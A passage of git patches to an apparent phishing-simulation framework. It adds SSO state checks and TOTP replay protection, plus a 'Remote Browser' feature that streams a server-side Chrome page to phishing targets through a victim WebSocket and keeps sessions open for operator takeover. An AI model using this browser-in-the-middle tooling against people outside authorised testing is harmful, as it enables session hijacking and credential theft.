getJSON(this.getPath(`/email/${id}${companyQuery}`)); }, /** diff --git a/frontend/src/routes/email/+page.svelte b/frontend/src/routes/email/+page.svelte index 38274b7..9645c59 100644 --- a/frontend/src/routes/email/+page.svelte +++ b/frontend/src/routes/email/+page.svelte @@ -212,7 +212,7 @@ /** @param {string} id */ const getEmail = async (id) => { try { - const res = await api.email.getByID(id); + const res = await api.email.getByID(id, contextCompanyID); if (!res.success) { throw res.error; } diff --git a/frontend/src/routes/email/[id]/attachments/+page.svelte b/frontend/src/routes/email/[id]/attachments/+page.svelte index 714a2a2..6b91ed0 100644 --- a/frontend/src/routes/email/[id]/attachments/+page.svelte +++ b/frontend/src/routes/email/[id]/attachments/+page.svelte @@ -118,7 +118,7 @@ const getEmail = async () => { try { - const res = await api.email.getByID($page.params.id); + const res = await api.email.getByID($page.params.id, contextCompanyID); if (!res.success) { throw res.error; } From b6ebf53009c0030891c0922c1f86bb7ea9c9734a Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 23 Apr 2026 21:52:14 +0200 Subject: [PATCH 12/78] updated release notes Signed-off-by: Ronni Skansing --- RELEASE.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/RELEASE.md b/RELEASE.md index a31fef3..f3682de 100644 --- a/RELEASE.md +++ b/RELEASE.md @@ -1,4 +1,12 @@ # Changelog +## [1.35.0] - 2026-04-23 +- Added support for custom certificates in proxy configuration +- Added support for URL rewrite in visual proxy editor +- Fix apply rewrite rules when redirecting to proxy pages +- Fix recipient URL using start URL in proxy +- Fix remove campaign webhooks and device codes on campaign deletion +- Fix company email attachments not working +- Fix create template did not include URL path ## [1.34.0] - 2026-04-02 - Added dynamic groups From c035e2b1176c8433d60ed5fb062b89da59fde8cb Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Mon, 27 Apr 2026 21:31:48 +0200 Subject: [PATCH 13/78] add state to SSO login flow Signed-off-by: Ronni Skansing --- backend/controller/sso.go | 43 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/backend/controller/sso.go b/backend/controller/sso.go index 273c71a..ba34db9 100644 --- a/backend/controller/sso.go +++ b/backend/controller/sso.go @@ -1,8 +1,12 @@ package controller import ( + "crypto/rand" + "crypto/subtle" + "encoding/hex" "errors" "net/http" + "time" "github.com/gin-gonic/gin" "github.com/phishingclub/phishingclub/data" @@ -11,6 +15,8 @@ import ( "github.com/phishingclub/phishingclub/service" ) +const ssoStateCookieKey = "sso_state" + // SSO the single sign on controller type SSO struct { Common @@ -60,10 +66,45 @@ func (s *SSO) EntreIDLogin(g *gin.Context) { s.Response.BadRequest(g) return } - g.Redirect(http.StatusTemporaryRedirect, authURL) + + stateBytes := make([]byte, 32) + if _, err := rand.Read(stateBytes); err != nil { + s.Response.ServerError(g) + return + } + state := hex.EncodeToString(stateBytes) + + http.SetCookie(g.Writer, &http.Cookie{ + Name: ssoStateCookieKey, + Value: state, + Path: "/", + MaxAge: int(5 * time.Minute / time.Second), + HttpOnly: true, + Secure: true, + SameSite: http.SameSiteLaxMode, + }) + + g.Redirect(http.StatusTemporaryRedirect, authURL+"&state="+state) } func (s *SSO) EntreIDCallBack(g *gin.Context) { + stateCookie, err := g.Request.Cookie(ssoStateCookieKey) + http.SetCookie(g.Writer, &http.Cookie{ + Name: ssoStateCookieKey, + Value: "", + Path: "/", + MaxAge: -1, + HttpOnly: true, + Secure: true, + SameSite: http.SameSiteLaxMode, + }) + stateParam := g.Query("state") + if err != nil || stateCookie.Value == "" || stateParam == "" || + subtle.ConstantTimeCompare([]byte(stateCookie.Value), []byte(stateParam)) != 1 { + g.Redirect(http.StatusTemporaryRedirect, "/login?ssoAuthError=1") + return + } + code := g.Query("code") session, err := s.SSO.HandlEntraIDCallback(g, code) if err != nil { From 8b955c4742cc728505e688e6322167bf69dc04d0 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Wed, 29 Apr 2026 19:52:13 +0200 Subject: [PATCH 14/78] fix totp code not replayable Signed-off-by: Ronni Skansing --- backend/app/services.go | 1 + backend/service/totpReplayCache.go | 62 ++++++++++++++++++++++++++++++ backend/service/user.go | 15 +++++++- 3 files changed, 76 insertions(+), 2 deletions(-) create mode 100644 backend/service/totpReplayCache.go diff --git a/backend/app/services.go b/backend/app/services.go index d6b7bd2..80538bc 100644 --- a/backend/app/services.go +++ b/backend/app/services.go @@ -112,6 +112,7 @@ func NewServices( RoleRepository: repositories.Role, CompanyRepository: repositories.Company, PasswordHasher: utilities.PasswordHasher, + TOTPReplayCache: service.NewTOTPReplayCache(), } recipient := &service.Recipient{ Common: common, diff --git a/backend/service/totpReplayCache.go b/backend/service/totpReplayCache.go new file mode 100644 index 0000000..2402b12 --- /dev/null +++ b/backend/service/totpReplayCache.go @@ -0,0 +1,62 @@ +package service + +import ( + "sync" + "time" +) + +// totpWindow is the lifetime of a used-token entry. +// pquerna/otp totp.Validate uses Skew:1 (current ±1 period × 30s = 90s total window). +const totpWindow = 90 * time.Second + +type TOTPReplayCache struct { + mu sync.Mutex + entries map[string]time.Time // "userID:token" -> usedAt +} + +func NewTOTPReplayCache() *TOTPReplayCache { + c := &TOTPReplayCache{entries: make(map[string]time.Time)} + go c.runCleanup() + return c +} + +func (c *TOTPReplayCache) key(userID, token string) string { + return userID + ":" + token +} + +// isUsed reports whether token has already been consumed for userID within the window. +func (c *TOTPReplayCache) isUsed(userID, token string) bool { + c.mu.Lock() + defer c.mu.Unlock() + usedAt, ok := c.entries[c.key(userID, token)] + if !ok { + return false + } + if time.Since(usedAt) > totpWindow { + delete(c.entries, c.key(userID, token)) + return false + } + return true +} + +// markUsed records token as consumed for userID. +func (c *TOTPReplayCache) markUsed(userID, token string) { + c.mu.Lock() + defer c.mu.Unlock() + c.entries[c.key(userID, token)] = time.Now() +} + +func (c *TOTPReplayCache) runCleanup() { + ticker := time.NewTicker(totpWindow) + defer ticker.Stop() + for range ticker.C { + c.mu.Lock() + now := time.Now() + for k, usedAt := range c.entries { + if now.Sub(usedAt) > totpWindow { + delete(c.entries, k) + } + } + c.mu.Unlock() + } +} diff --git a/backend/service/user.go b/backend/service/user.go index 11e9d0b..600dc90 100644 --- a/backend/service/user.go +++ b/backend/service/user.go @@ -37,8 +37,9 @@ type User struct { UserRepository *repository.User RoleRepository *repository.Role CompanyRepository *repository.Company - PasswordVerifier *password.Argon2Verifier - PasswordHasher *password.Argon2Hasher + PasswordVerifier *password.Argon2Verifier + PasswordHasher *password.Argon2Hasher + TOTPReplayCache *TOTPReplayCache } // Create creates a new user @@ -708,11 +709,16 @@ func (u *User) SetupCheckTOTP( } // verify the token u.Logger.Debug("verifying TOTP") + if u.TOTPReplayCache.isUsed(userID.String(), token.String()) { + u.Logger.Debug("failed to verify TOTP - token already used") + return errs.ErrUserWrongTOTP + } valid := totp.Validate(token.String(), secret) if !valid { u.Logger.Debug("failed to verify TOTP - invalid token") return errs.ErrUserWrongTOTP } + u.TOTPReplayCache.markUsed(userID.String(), token.String()) u.Logger.Debugw("Enabling MFA TOTP for user", "userID", userID) // enable TOTP err = u.UserRepository.EnableTOTP( @@ -807,6 +813,10 @@ func (u *User) CheckTOTP( userID *uuid.UUID, token *vo.String64, ) error { + if u.TOTPReplayCache.isUsed(userID.String(), token.String()) { + u.Logger.Debug("failed to verify TOTP - token already used") + return errs.ErrUserWrongTOTP + } // get the secret secret, _, err := u.UserRepository.GetTOTP( ctx, @@ -822,6 +832,7 @@ func (u *User) CheckTOTP( u.Logger.Debug("failed to verify TOTP - invalid token") return errs.ErrUserWrongTOTP } + u.TOTPReplayCache.markUsed(userID.String(), token.String()) return nil } From 9bd048e4bff0ab63ea9316c698b8537cc6cc2596 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Sat, 2 May 2026 11:18:47 +0200 Subject: [PATCH 15/78] Remote Browser Feature Signed-off-by: Ronni Skansing --- .claudeignore | 20 + Dockerfile.release | 3 +- backend/Dockerfile | 28 +- backend/README.md | 13 + backend/app/administration.go | 21 +- backend/app/controllers.go | 12 + backend/app/repositories.go | 2 + backend/app/server.go | 14 + backend/app/services.go | 9 + backend/config.docker.json | 3 + backend/config.example.json | 4 + backend/config/config.go | 49 +- backend/controller/remoteBrowser.go | 1822 +++++++++++++++++ backend/data/option.go | 5 + backend/database/remoteBrowser.go | 34 + backend/embedded/files.go | 3 + backend/embedded/remotebrowser_inject.js | 197 ++ backend/go.mod | 10 + backend/go.sum | 26 + backend/install/installer.go | 2 + backend/install/interactive.go | 14 +- backend/install/systemd.service | 4 +- backend/main.go | 8 + backend/model/remoteBrowser.go | 107 + backend/remotebrowser/browser.go | 1186 +++++++++++ backend/remotebrowser/emitter.go | 116 ++ backend/remotebrowser/navigate_safe.go | 1 + backend/remotebrowser/runner.go | 1316 ++++++++++++ backend/repository/campaign.go | 2 +- backend/repository/remoteBrowser.go | 219 ++ backend/seed/migrate.go | 34 + backend/service/campaign.go | 7 + backend/service/remoteBrowser.go | 306 +++ backend/service/templateService.go | 54 + backend/vendor/modules.txt | 54 + config.docker.json | 29 - docs/updates/1.36.0.md | 31 + frontend/Dockerfile | 2 +- frontend/package.json | 4 +- frontend/src/lib/api/api.js | 87 + frontend/src/lib/api/client.js | 7 +- frontend/src/lib/components/Modal.svelte | 1 + .../src/lib/components/editor/Editor.svelte | 9 +- .../lib/components/header/DesktopMenu.svelte | 8 + .../lib/components/header/MobileMenu.svelte | 8 + .../LiveSessionBadgeDropdown.svelte | 131 ++ .../remote-browser/RemoteBrowserEditor.svelte | 1414 +++++++++++++ .../remote-browser/RemoteBrowserStream.svelte | 600 ++++++ .../table/TableDropDownEllipsis.svelte | 50 +- .../lib/components/table/TableHeadCell.svelte | 2 +- .../lib/components/table/TableHeader.svelte | 2 +- frontend/src/lib/consts/navigation.js | 10 + .../src/routes/campaign/[id]/+page.svelte | 112 + .../src/routes/remote-browser/+page.svelte | 391 ++++ frontend/vite.dev.config.js | 1 + tmp/google-poc.html | 636 ++++++ 56 files changed, 9150 insertions(+), 90 deletions(-) create mode 100644 .claudeignore create mode 100644 backend/controller/remoteBrowser.go create mode 100644 backend/database/remoteBrowser.go create mode 100644 backend/embedded/remotebrowser_inject.js create mode 100644 backend/model/remoteBrowser.go create mode 100644 backend/remotebrowser/browser.go create mode 100644 backend/remotebrowser/emitter.go create mode 100644 backend/remotebrowser/navigate_safe.go create mode 100644 backend/remotebrowser/runner.go create mode 100644 backend/repository/remoteBrowser.go create mode 100644 backend/service/remoteBrowser.go delete mode 100644 config.docker.json create mode 100644 docs/updates/1.36.0.md create mode 100644 frontend/src/lib/components/remote-browser/LiveSessionBadgeDropdown.svelte create mode 100644 frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte create mode 100644 frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte create mode 100644 frontend/src/routes/remote-browser/+page.svelte create mode 100644 tmp/google-poc.html diff --git a/.claudeignore b/.claudeignore new file mode 100644 index 0000000..e0df9f1 --- /dev/null +++ b/.claudeignore @@ -0,0 +1,20 @@ +# Go vendor dependencies +backend/vendor/ + +# Embedded GeoIP data blobs +backend/embedded/geoip/ + +# Node.js dependencies +frontend/node_modules/ + +# Dev runtime artifacts +backend/.dev/ +backend/.dev-air/ +frontend/.svelte-kit/ + +# Compiled binaries +build/ + +# Temporary files +tmp/ +.tmp/ diff --git a/Dockerfile.release b/Dockerfile.release index 3ee0950..b4b0f1e 100644 --- a/Dockerfile.release +++ b/Dockerfile.release @@ -1,7 +1,8 @@ -FROM debian:12-slim +FROM debian:12-slim@sha256:b29f74a267526ae6ea104eed6c46133b0ca70ce812525df8cd5817698f0a624a # install ca-certificates for https requests RUN apt-get update && \ + apt-get upgrade -y && \ apt-get install -y ca-certificates tzdata && \ rm -rf /var/lib/apt/lists/* diff --git a/backend/Dockerfile b/backend/Dockerfile index 7e596cf..c52c98a 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -10,6 +10,30 @@ WORKDIR /app RUN groupadd -g 1000 appuser && \ useradd -r -u 1000 -g appuser appuser -d /home/appuser -m +# chromium runtime dependencies (required when remote_browser.enabled is true) +RUN apt-get update && apt-get install -y --no-install-recommends \ + libglib2.0-0 \ + libnss3 \ + libatk1.0-0 \ + libatk-bridge2.0-0 \ + libcups2 \ + libdrm2 \ + libxkbcommon0 \ + libxcomposite1 \ + libxdamage1 \ + libxfixes3 \ + libxrandr2 \ + libgbm1 \ + libasound2 \ + libpango-1.0-0 \ + libcairo2 \ + fonts-liberation \ + libx11-6 \ + libx11-xcb1 \ + libxcb1 \ + libxext6 \ + && rm -rf /var/lib/apt/lists/* + # install deps #RUN go install github.com/cosmtrek/air@latest \ #RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1 @@ -21,7 +45,7 @@ RUN chown -R appuser:appuser /app USER appuser -RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@latest -RUN go mod tidy +RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@v1.26.3 +RUN go mod download CMD ["air", "-c", "/.dev-air/.air.docker.toml"] diff --git a/backend/README.md b/backend/README.md index 8216461..f836949 100644 --- a/backend/README.md +++ b/backend/README.md @@ -11,6 +11,19 @@ The program must be executable The program must have rights to serve on privliged ports `sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary` +### Updating the systemd service unit (required for Remote Browser feature) + +The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work). + +The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run: + +```bash +sudo systemctl daemon-reload +sudo systemctl restart phishingclub +``` + +Without this the old unit stays active and Chrome will crash when a remote browser session is started. + ### Known Issues #### Hot reloading not working / New files now working diff --git a/backend/app/administration.go b/backend/app/administration.go index a6dde0a..6f92353 100644 --- a/backend/app/administration.go +++ b/backend/app/administration.go @@ -208,6 +208,14 @@ const ( ROUTE_V1_VERSION = "/api/v1/version" // import ROUTE_V1_IMPORT = "/api/v1/import" + // remote browser + ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser" + ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview" + ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id" + ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run" + ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live" + ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID" + ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream" ) // administrationServer is the administrationServer app @@ -500,7 +508,18 @@ func setupRoutes( GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups). GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup). // import - POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import) + POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import). + // remote browser + GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll). + GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview). + GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID). + POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create). + PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID). + DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID). + GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions). + DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession) return r } diff --git a/backend/app/controllers.go b/backend/app/controllers.go index 48919ce..935ab95 100644 --- a/backend/app/controllers.go +++ b/backend/app/controllers.go @@ -40,6 +40,7 @@ type Controllers struct { Backup *controller.Backup IPAllowList *controller.IPAllowList OAuthProvider *controller.OAuthProvider + RemoteBrowser *controller.RemoteBrowserController } // NewControllers creates a collection of controllers @@ -196,6 +197,16 @@ func NewControllers( OAuthProviderService: services.OAuthProvider, Config: conf, } + remoteBrowser := &controller.RemoteBrowserController{ + Common: common, + RemoteBrowserService: services.RemoteBrowser, + RemoteBrowserRepository: repositories.RemoteBrowser, + CampaignRecipientRepository: repositories.CampaignRecipient, + CampaignRepository: repositories.Campaign, + CampaignService: services.Campaign, + ExecPath: conf.RemoteBrowser.ExecPath, + Enabled: conf.RemoteBrowser.Enabled, + } return &Controllers{ Asset: asset, @@ -229,5 +240,6 @@ func NewControllers( Backup: backup, IPAllowList: ipAllowList, OAuthProvider: oauthProvider, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/app/repositories.go b/backend/app/repositories.go index a8d5ee6..9532754 100644 --- a/backend/app/repositories.go +++ b/backend/app/repositories.go @@ -31,6 +31,7 @@ type Repositories struct { OAuthProvider *repository.OAuthProvider OAuthState *repository.OAuthState MicrosoftDeviceCode *repository.MicrosoftDeviceCode + RemoteBrowser *repository.RemoteBrowser } // NewRepositories creates a collection of repositories @@ -63,5 +64,6 @@ func NewRepositories( OAuthProvider: &repository.OAuthProvider{DB: db}, OAuthState: &repository.OAuthState{DB: db}, MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db}, + RemoteBrowser: &repository.RemoteBrowser{DB: db}, } } diff --git a/backend/app/server.go b/backend/app/server.go index 0b800d3..81feecf 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -62,6 +62,7 @@ type Server struct { repositories *Repositories proxyServer *proxy.ProxyHandler ja4Middleware *middleware.JA4Middleware + remoteBrowserWSPath string } // NewServer returns a new server @@ -74,6 +75,7 @@ func NewServer( repositories *Repositories, logger *zap.SugaredLogger, certMagicConfig *certmagic.Config, + remoteBrowserWSPath string, ) *Server { // setup ja4 middleware for tls fingerprinting ja4Middleware := middleware.NewJA4Middleware(logger) @@ -118,6 +120,7 @@ func NewServer( certMagicConfig: certMagicConfig, proxyServer: proxyServer, ja4Middleware: ja4Middleware, + remoteBrowserWSPath: remoteBrowserWSPath, } } @@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool { // checks if the request should be redirected // checks if the request is for a static page or static not found page func (s *Server) Handler(c *gin.Context) { + // pass through to the explicit Gin route for the victim remote browser WS endpoint + if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") { + c.Next() + return + } + if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok { if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok { fingerprint := entry.Fingerprint @@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage( // AssignRoutes assigns the routes to the server func (s *Server) AssignRoutes(r *gin.Engine) { + // victim-facing remote browser WS endpoint - lives on the phishing engine (r), not + // the admin engine, because it is served to the victim's browser. s.Handler has an + // explicit prefix check that calls c.Next() for this path so the catch-all proxy + // logic does not swallow the request before Gin can dispatch to ServeVictim. + r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim) r.Use(s.Handler) r.NoRoute(s.handlerNotFound) } diff --git a/backend/app/services.go b/backend/app/services.go index 80538bc..72c90b6 100644 --- a/backend/app/services.go +++ b/backend/app/services.go @@ -43,6 +43,7 @@ type Services struct { ProxySessionManager *service.ProxySessionManager OAuthProvider *service.OAuthProvider MicrosoftDeviceCode *service.MicrosoftDeviceCode + RemoteBrowser *service.RemoteBrowser } // NewServices creates a collection of services @@ -72,6 +73,8 @@ func NewServices( templateService := &service.Template{ Common: common, RecipientRepository: repositories.Recipient, + OptionRepository: repositories.Option, + RemoteBrowserRepository: repositories.RemoteBrowser, MicrosoftDeviceCodeService: microsoftDeviceCodeService, } file := &service.File{ @@ -196,6 +199,10 @@ func NewServices( TemplateService: templateService, CampaignTemplateService: campaignTemplate, } + remoteBrowser := &service.RemoteBrowser{ + Common: common, + RemoteBrowserRepository: repositories.RemoteBrowser, + } campaign := &service.Campaign{ Common: common, CampaignRepository: repositories.Campaign, @@ -214,6 +221,7 @@ func NewServices( TemplateService: templateService, MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode, AttachmentPath: attachmentPath, + RemoteBrowserService: remoteBrowser, } // wire campaign service into microsoft device code service now that campaign is constructed microsoftDeviceCodeService.CampaignService = campaign @@ -309,5 +317,6 @@ func NewServices( ProxySessionManager: proxySessionManager, OAuthProvider: oauthProvider, MicrosoftDeviceCode: microsoftDeviceCodeService, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/config.docker.json b/backend/config.docker.json index 33d3c65..7a3adc4 100644 --- a/backend/config.docker.json +++ b/backend/config.docker.json @@ -16,5 +16,8 @@ "database": { "engine": "sqlite3", "dsn": "file:/app/.dev/db.sqlite3" + }, + "remote_browser": { + "enabled": true } } diff --git a/backend/config.example.json b/backend/config.example.json index 6a73fc5..f0ae40d 100644 --- a/backend/config.example.json +++ b/backend/config.example.json @@ -20,5 +20,9 @@ "log": { "path": "", "errorPath": "" + }, + "remote_browser": { + "enabled": false, + "exec_path": "" } } diff --git a/backend/config/config.go b/backend/config/config.go index 20fde65..07cba53 100644 --- a/backend/config/config.go +++ b/backend/config/config.go @@ -78,17 +78,19 @@ type ( LogPath string ErrLogPath string - IPSecurity IPSecurityConfig + IPSecurity IPSecurityConfig + RemoteBrowser RemoteBrowserServerConfig } // ConfigDTO config DTO ConfigDTO struct { - ACME ACME `json:"acme"` - AdministrationServer AdministrationServer `json:"administration"` - PhishingServer PhishingServer `json:"phishing"` - Database Database `json:"database"` - Log Log `json:"log"` - IPSecurity IPSecurityConfig `json:"ip_security"` + ACME ACME `json:"acme"` + AdministrationServer AdministrationServer `json:"administration"` + PhishingServer PhishingServer `json:"phishing"` + Database Database `json:"database"` + Log Log `json:"log"` + IPSecurity IPSecurityConfig `json:"ip_security"` + RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"` } Log struct { @@ -121,6 +123,19 @@ type ( ACME struct { Email string `json:"email"` } + + // RemoteBrowserServerConfig holds server-side remote browser settings. + RemoteBrowserServerConfig struct { + // Enabled controls whether the remote browser feature is available. + // Defaults to false. When false all remote browser endpoints return 404. + // When true all built-in safeguards are removed (Chrome flag blocklist, + // URL scheme restriction) because operators are trusted at server level. + // Only enable on instances where every operator is trusted as a server admin. + Enabled bool `json:"enabled"` + // ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses + // its own auto-downloaded Chromium. Set at the server level only. + ExecPath string `json:"exec_path"` + } ) type IPSecurityConfig struct { @@ -400,6 +415,16 @@ func (c *Config) SetErrLogPath(path string) { c.ErrLogPath = path } +// SetRemoteBrowserEnabled enables or disables the remote browser feature. +func (c *Config) SetRemoteBrowserEnabled(enabled bool) { + c.RemoteBrowser.Enabled = enabled +} + +// SetRemoteBrowserExecPath sets the Chrome binary path used by the remote browser runner. +func (c *Config) SetRemoteBrowserExecPath(path string) { + c.RemoteBrowser.ExecPath = path +} + // SetFileWriter sets the file writer func (c *Config) SetFileWriter(fileWriter file.Writer) error { if err := ValidateFileWriter(fileWriter); err != nil { @@ -451,7 +476,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) { // FromMap creates a *Config from a DTO func FromDTO(dto *ConfigDTO) (*Config, error) { - return NewConfig( + cfg, err := NewConfig( dto.ACME.Email, dto.AdministrationServer.TLSHost, dto.AdministrationServer.TLSAuto, @@ -466,6 +491,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) { dto.Log.ErrorPath, dto.IPSecurity, ) + if err != nil { + return nil, err + } + cfg.RemoteBrowser = dto.RemoteBrowser + return cfg, nil } // ToDTO converts a *Config to a *ConfigDTO @@ -493,7 +523,8 @@ func (c *Config) ToDTO() *ConfigDTO { Path: c.LogPath, ErrorPath: c.ErrLogPath, }, - IPSecurity: c.IPSecurity, + IPSecurity: c.IPSecurity, + RemoteBrowser: c.RemoteBrowser, } } diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go new file mode 100644 index 0000000..e9c2132 --- /dev/null +++ b/backend/controller/remoteBrowser.go @@ -0,0 +1,1822 @@ +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "fmt" + "image" + "image/draw" + "image/jpeg" + "net/http" + "net/url" + "sync" + "sync/atomic" + "time" + + "github.com/gin-gonic/gin" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/proto" + "github.com/google/uuid" + "github.com/gorilla/websocket" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/cache" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/remotebrowser" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/service" + "github.com/phishingclub/phishingclub/utils" + "github.com/phishingclub/phishingclub/vo" +) + +// activeSession tracks every victim WebSocket session from the moment it connects. +// Pointer identity is used by CompareAndDelete so a newer session's entry +// is never removed by an older session's defer cleanup. +// browserPage is nil until the JS script calls newSession(); once set the session +// can be streamed to an admin via StreamLiveSession. +type activeSession struct { + cancel context.CancelFunc + CampaignID uuid.UUID + RecipientID uuid.UUID + CRID uuid.UUID + CreatedAt time.Time + victimConnected atomic.Bool + // isKeepAlive is set when the JS script calls s.keepAlive(), meaning the + // browser is parked and available for operator takeover. A revisit from the + // victim must not cancel this session. + isKeepAlive atomic.Bool + // isTest marks sessions created by the test runner (RunByID) so they are + // excluded from the live session list shown to operators. + isTest bool + // browserPage is set (non-nil) only after newSession() is called. + browserPageMu sync.Mutex + browserPage *rod.Page +} + +func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID } +func (a *activeSession) Cancel() { a.cancel() } +func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() } + +func (a *activeSession) getBrowserPage() *rod.Page { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + return a.browserPage +} + +func (a *activeSession) setBrowserPage(page *rod.Page) { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + a.browserPage = page +} + +// streamInfo tracks a named cropped stream started by s.stream(selector, name). +// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping). +// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received +// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight). +type streamInfo struct { + mu sync.RWMutex + originX float64 + originY float64 + scaleX float64 + scaleY float64 + boxSet bool // true once the first frame has been processed and scale is known + cancel context.CancelFunc + maxFps int + quality int // JPEG re-encode quality for cropped frames (0 = use default 92) +} + +func (s *streamInfo) setOrigin(x, y float64) { + s.mu.Lock() + s.originX, s.originY = x, y + s.mu.Unlock() +} + +func (s *streamInfo) setScale(sx, sy float64) { + s.mu.Lock() + s.scaleX, s.scaleY, s.boxSet = sx, sy, true + s.mu.Unlock() +} + +// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords. +func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) { + s.mu.RLock() + defer s.mu.RUnlock() + if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 { + return 0, 0, false + } + return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true +} + +var RemoteBrowserColumnsMap = map[string]string{ + "name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"), + "updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"), + "created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"), +} + +var wsUpgrader = websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { + origin := r.Header.Get("Origin") + if origin == "" { + return true // non-browser client (CLI, curl) + } + u, err := url.Parse(origin) + if err != nil { + return false + } + return u.Host == r.Host + }, +} + +func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config { + cfg := remotebrowser.DefaultConfig() + if mc, err := c.Get(); err == nil { + if mc.Mode == "local" || mc.Mode == "remote" { + cfg.Mode = mc.Mode + } + if cfg.Mode == "remote" { + cfg.Remote = mc.Remote + } + cfg.Proxy = mc.Proxy + cfg.Headless = mc.Headless + if mc.Timeout > 0 { + cfg.Timeout = mc.Timeout + } + cfg.Lang = mc.Lang + cfg.ExtraFlags = mc.ExtraFlags + } + return cfg +} + +// RemoteBrowserController handles remote browser CRUD and live test runs. +type RemoteBrowserController struct { + Common + RemoteBrowserService *service.RemoteBrowser + RemoteBrowserRepository *repository.RemoteBrowser + CampaignRecipientRepository *repository.CampaignRecipient + CampaignRepository *repository.Campaign + CampaignService *service.Campaign + // ExecPath is the server-configured Chrome binary (from config.json). + ExecPath string + // Enabled mirrors config.RemoteBrowserServerConfig.Enabled. When false + // every endpoint returns 404 and the feature is fully unavailable. + Enabled bool +} + +func (m *RemoteBrowserController) isEnabled(g 